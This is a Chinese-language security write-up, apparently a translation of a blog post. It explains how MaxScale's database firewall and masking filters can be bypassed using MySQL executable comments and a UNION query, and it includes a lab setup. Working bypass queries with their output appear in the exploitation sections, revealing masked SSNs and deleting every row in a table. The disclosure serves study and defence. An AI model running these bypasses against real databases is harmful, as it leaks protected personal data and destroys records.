攻击者是如何绕过MySQL代理应用MaxScale的防火墙和内容屏蔽规则的

fanyeee 系统安全 2019年3月25日发布
Favorite收藏

导语:在本文中,我们将为读者介绍攻击者是如何绕过MySQL代理应用 MaxScale 的防火墙和内容屏蔽规则的 。

背景知识

MaxScale是由Mariadb开发的一款MySQL代理程序。我们可以把它看作一个支持MySQL的Haproxy。下面,我们将为大家介绍该程序提供的两个过滤模块:

数据库防火墙模块:允许您使用一组灵活的规则来阻止查询,这些规则能够完成授权系统无法做到的那些事情。

内容屏蔽模块:允许您返回某些列的假/屏蔽数据(例如,对某些客户屏蔽PII)。

演示

首先,让我们看看这些过滤器在实践中是如何工作的。我们将:

· 使用列id、first_name、last_name和ssn来创建一个名为managers的表

· 创建屏蔽规则以返回SSN的假值

· 创建防火墙规则,以阻止没有提供WHERE子句的DELETE查询

mysql> select * from managers;
+----+------------+-----------+-------------+
| id | first_name | last_name | ssn         |
+----+------------+-----------+-------------+
|  1 | Hugh       | Mann      | XXX-XX-XXXX |
|  2 | John       | Doe       | XXX-XX-XXXX |
+----+------------+-----------+-------------+
2 rows in set (0.00 sec)
 
mysql> select CONCAT(ssn) from managers;
ERROR 1141 (HY000): The function CONCAT is used in conjunction with a field that should be masked for 'maxuser'@'::ffff:127.0.0.1', access is denied.
 
mysql> delete from managers;
ERROR 1141 (HY000): Access denied for user 'maxuser'@'::ffff:127.0.0.1': Required WHERE/HAVING clause is missing

漏洞利用方式

MaxScale如何解析查询

MaxScale要想正常工作,它必须能够正确解析传入的SQL查询,只有这样,其路由器和过滤器才可以正确处理各种请求。实际上,该功能包含在名为query_classifier的模块中。过去,它使用的是mysql_embedded库,但是现在,使用的是sqlite的修订版。

解析后,MaxScale的模块就能访问相关信息了,例如查询类型(用于确定服务器应该路由到哪个后端以进行读/写拆分等),引用的数据库/表/列,以及查询的AST。

安全隐患

MySQL的查询解析器的一个复杂之处在于,它对上下文是非常敏感的。只有知道了当前的SQL模式、已定义函数/表/数据库和MySQL版本等信息后,才能对查询进行正确的解析。MaxScale解释查询的方式与后端如何解释查询之间如果存在差异,不仅会导致正确路由查询时出现问题,而且还会为黑客敞开一扇大门,使他们能够根据解析后的结果绕过系统提供的各种保护。

MaxScale如何处理可执行注释

MySQL中的可执行注释,与HTML的条件注释非常相似。这些注释的目的是,不仅可以使用较新MySQL版本的功能,同时,还能保持查询向后兼容。下面是MySQL文档中的一个示例:

如果在感叹号!后添加一个版本号,则仅当MySQL版本大于或等于指定的版本号时,才执行注释中的语法。以下注释中的key_block_size关键字,仅会由MySQL5.1.10或更高版本的服务器执行:

CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024 */;

下面,让我们来看看MaxScale的SQLite查询分类器是如何处理这些注释的:

#ifdef MAXSCALE
      if ( z[2] == '!' ){
        // MySQL-specific code
        for (i=3, c=z[2]; (c!='*' || z[i]!='/') && (c=z[i])!=0; i++){}
        if (c=='*' && z[i]=='/'){
          char* znc = (char*) z;
          znc[0]=znc[1]=znc[2]=znc[i-1]=znc[i]=' '; // Remove comment chars, i.e. "/*!" and "*/".
          for (i=3; sqlite3Isdigit(z[i]); ++i){} // Jump over the MySQL version number.
          for (; sqlite3Isspace(z[i]); ++i){} // Jump over any space.
        }

由此可以看出,tokenizer总是将可执行注释的内容解析为SQL,而不管后端的版本如何。

可执行注释的利用方法

利用MaxScale和后端服务器在解释带有可执行注释的查询的方式之间的差异,我们可以绕过防火墙规则和屏蔽规则。

通过发送一个带有可执行注释的查询——该查询的目标版本高于后端服务器(假设是99.99.99版),我们可以插入将由MaxScale解释却会被后端忽略的SQL操作。

利用这一点,攻击者可以窃取某些SSN:

mysql> /*!99999 CREATE PROCEDURE bypass BEGIN */ select managers.*, CONCAT(ssn) from managers /*!99999 END */;
+----+------------+-----------+-------------+-------------+
| id | first_name | last_name | ssn         | CONCAT(ssn) |
+----+------------+-----------+-------------+-------------+
|  1 | Hugh       | Mann      | XXX-XX-XXXX | 111-22-3333 |
|  2 | John       | Doe       | XXX-XX-XXXX | 444-55-6666 |
+----+------------+-----------+-------------+-------------+
2 rows in set (0.00 sec)

让我们看看这里到底发生了什么:

· 屏蔽过滤器(The masking filter)将根据com_query_response数据包的schema、org_table和org_name字段来屏蔽结果集。

· 因此,它会禁止用户在SELECT语句中使用类似CONCAT这样的函数,从而导致这些字段与屏蔽规则不匹配,最终导致显示原始值。

· MaxScale将payload解释为CREATE PROCEDURE查询,因此,没有检查函数是否与被屏蔽的表相关联。

· Mariadb忽略了与版本相关的可执行注释,并将查询解释为select managers.*, CONCAT(ssn) from managers,并屁颠屁颠地返回了结果。

我们可以使用相同的方法,将我们的payload封装到CREATE PROCEDURE中,以绕过防火墙规则,进而执行没有WHERE子句的DELETE查询。

绕过防火墙规则的另一种方法,是在可执行注释中放入WHERE子句,虽然满足了MaxScales端的防火墙规则,但后端服务器却会忽略它。

mysql> delete from managers /*!99999 WHERE 1=0 */;
Query OK, 2 rows affected (0.01 sec)

如上所示,后端服务器的确忽略了WHERE子句,并删除了管理器表中的所有行。

使用并集操作绕过屏蔽规则

在考察上述漏洞时,我发现了另一种绕过屏蔽过滤器限制的方法。 由于屏蔽过程是基于响应数据包中的字段来完成的,所以,我们可以通过使用简单的并集操作来绕过该过滤器:

mysql> select 1,1,1,1 UNION SELECT * from managers;
+---+------+------+-------------+
| 1 | 1    | 1    | 1           |
+---+------+------+-------------+
| 1 | 1    | 1    | 1           |
| 1 | Hugh | Mann | 111-22-3333 |
| 2 | John | Doe  | 444-55-6666 |
+---+------+------+-------------+
3 rows in set (0.00 sec)

通过在此处使用并集操作,就能阻止软件将列定义的org_schema、org_table和org_name字段分别设置为test、managers和ssn。

搭建测试环境

对于那些想要在家中动手练习的读者,可以安照下面的步骤安装设置MySQL和MaxScale。对于本演示来说,可以使用MaxScale文档介绍的例子,在Docker Compose环境中对上面介绍的两个过滤器进行测试。

示例模式

首先,我们需要用到一个模式,以及一些测试数据:

create database test;
use test;
CREATE TABLE `managers` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `first_name` varchar(255) NOT NULL,
  `last_name` varchar(255) NOT NULL,
  `ssn` varchar(111) NOT NULL,
  PRIMARY KEY (`id`)
);
INSERT INTO managers (first_name, last_name, ssn) VALUES ('Hugh', 'Mann', '111-22-3333');
INSERT INTO managers (first_name, last_name, ssn) VALUES ('John', 'Doe', '444-55-6666');

MaxScale的配置

现在,我们要将MaxScale配置为:

· 屏蔽ssn的值。

· 阻止所有没有WHERE子句DELETE语句来查询managers表。

maxscale.cnf
 
[server1]
type=server
address=master
port=3306
protocol=MariaDBBackend
 
[server2]
type=server
address=slave1
port=3306
protocol=MariaDBBackend
 
[server3]
type=server
address=slave2
port=3306
protocol=MariaDBBackend
 
# Monitor for the servers
# This will keep MaxScale aware of the state of the servers.
# MySQL Monitor documentation:
# https://github.com/mariadb-corporation/MaxScale/blob/2.3/Documentation/Monitors/MariaDB-Monitor.md
 
[MariaDB-Monitor]
type=monitor
module=mariadbmon
servers=server1,server2,server3
user=maxuser
passwd=maxpwd
auto_failover=true
auto_rejoin=true
enforce_read_only_slaves=1
 
# Service definitions
# Service Definition for a read-only service and a read/write splitting service.
 
# Listener definitions for the services
# Listeners represent the ports the services will listen on.
[Firewall-Listener]
type=listener
service=Firewall-Service
protocol=MySQLClient
port=4009
 
[DatabaseFirewall]
type=filter
module=dbfwfilter
rules=/etc/maxscale-rules.d/rules.txt
 
[SSNMask]
type=filter
module=masking
warn_type_mismatch=always
large_payload=abort
rules=/etc/maxscale-rules.d/mask.json
 
[Firewall-Service]
type=service
router=readwritesplit
servers=server1,server2,server3
user=maxuser
password=maxpwd
filters=DatabaseFirewall|SSNMask
 
firewall rules
 
rule safe_delete match no_where_clause on_queries delete
rule managers_table match regex '.*from.*managers.*'
users %@% match all rules safe_delete managers_table
 
masking rules
 
{
    "rules": [
        {
            "replace": {
                "column": "ssn"
            },
            "with": {
                "value": "XXX-XX-XXXX"
            }
        }
    ]
}

本文翻译自:https://blog.tarq.io/maxscale-firewall-bypass/如若转载,请注明原文地址: https://www.4hou.com/system/16886.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论